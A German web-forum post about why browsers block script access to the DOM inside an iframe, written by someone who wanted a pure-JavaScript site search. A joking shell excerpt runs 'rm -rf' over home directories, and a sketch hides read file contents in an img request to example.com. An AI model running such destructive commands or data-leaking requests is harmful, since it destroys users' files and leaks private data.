Christoph Zurnieden: (DOM) Zugriff auf Baum im iframe?

Beitrag lesen

Hallo,

Ich habe in den IFRAME mal eine Datei iframeoben.htm mit einem Absatz <p>Hallo</p> geladen.

(Früher hieß das wenigstens noch;: "Hallo Welt"! ;-)

IE und Mozilla kommen bis hierhin durch

var inhalt=parent.frames[0].document.getElementsByTagName("body")[0].childNodes[0].getAttribute("src");
alert(inhalt);

und melden iframeoben.htm

Soweit muß das ja auch noch gehen, schließlich liegt der IFrame auch noch im Ursprungsbaum.
So weit, so gut also.

Der IFRAME hat nun wiederum sein eigenes document-Objekt und der Zugriff sollte folglich so weitergehen:

var i=parent.frames[0].document.getElementsByTagName("body")[0].childNodes[0].document.documentElement.childNodes[1].childNodes[0].nodeName;
alert(i);

Mozilla blockt das voellig mit Fehlermeldung und der IE 6 gibt IFRAME aus, wo hier eigentlich der BODY und darunter das P-Element zu finden sein sollte. Das heißt aber offenbar, dass der IFRAME keinen tieferen Zugriff mehr erlaubt.

Gut.
Nein, das meine ich wirklich so ;-)

Ich meinte mit Domaingrenzen, dass der Zugriff auf das src-Attribut eines (I)Frames ein Problem sein kann, aber innerhalb der eigenen Domain (bzw. lokal) nicht.

Naja, das ist ein altbekanntes Problem, wenn man wildfremde Leute auf seinem Computer herumfummeln läßt. Und: was anderes ist Javascript schon? ;-)

Mmh...

bash-2.02# rm -rf /home/[1]*
bash-2.02# ls /home/
/home/My-home-is-my-castle
bash-2.02# echo -e "Back from holiday!\n\nyours\n\nBOfH" > /etc/motd

;->

Also eine locale Datei in ein IFrame laden, ein paar Knoten auslesen und als einen Request (z.B. <img src="http://example.com/getData?node1Value ..."> zu verbergen suchen?

Hat sich damit wohl erledigt.

Ja, und das ist auch eigentlich ganz gut so.
Ich wollte damit eigentlich ein reine Javascript-Volltextsuche implementieren. (Aus einer Liste die Dateien der Site nacheinander in's IFrame laden, abklappern und ausgeben, falls gefunden)
Naja, muß es halt doch wieder ein handgestrickter Index werden ;-)

BTW: Die JavaScript-Suche von SelfHTML funktioniert im Mozilla nicht, wenn man die Möglichkeit nutzt, die Statuszeile für Javascript auf Readonly zu schalten:

uncaught exception: Permission denied to set property Window.defaultStatus

Tja, wie war das? Immer auf Schreibrechte prüfen vor dem Schreiben? ;-)

Auf jeden Fall schon mal schönen Dank für die Antwort!

Puuh, da braucht man ja 2 Meter breite Bildschirmfenster ;-).

Wofür? Für die Dankesrede oder die Objektorientiertheit von DOM? ;-)))
(Zumindest beim Mozilla werden Zeilensprünge und Whitespace in DOM-Basteleien ignoriert)

Mit bestem Dank für's Ausprobieren:

so short

Christoph Zurnieden


  1. a-z0-9 ↩︎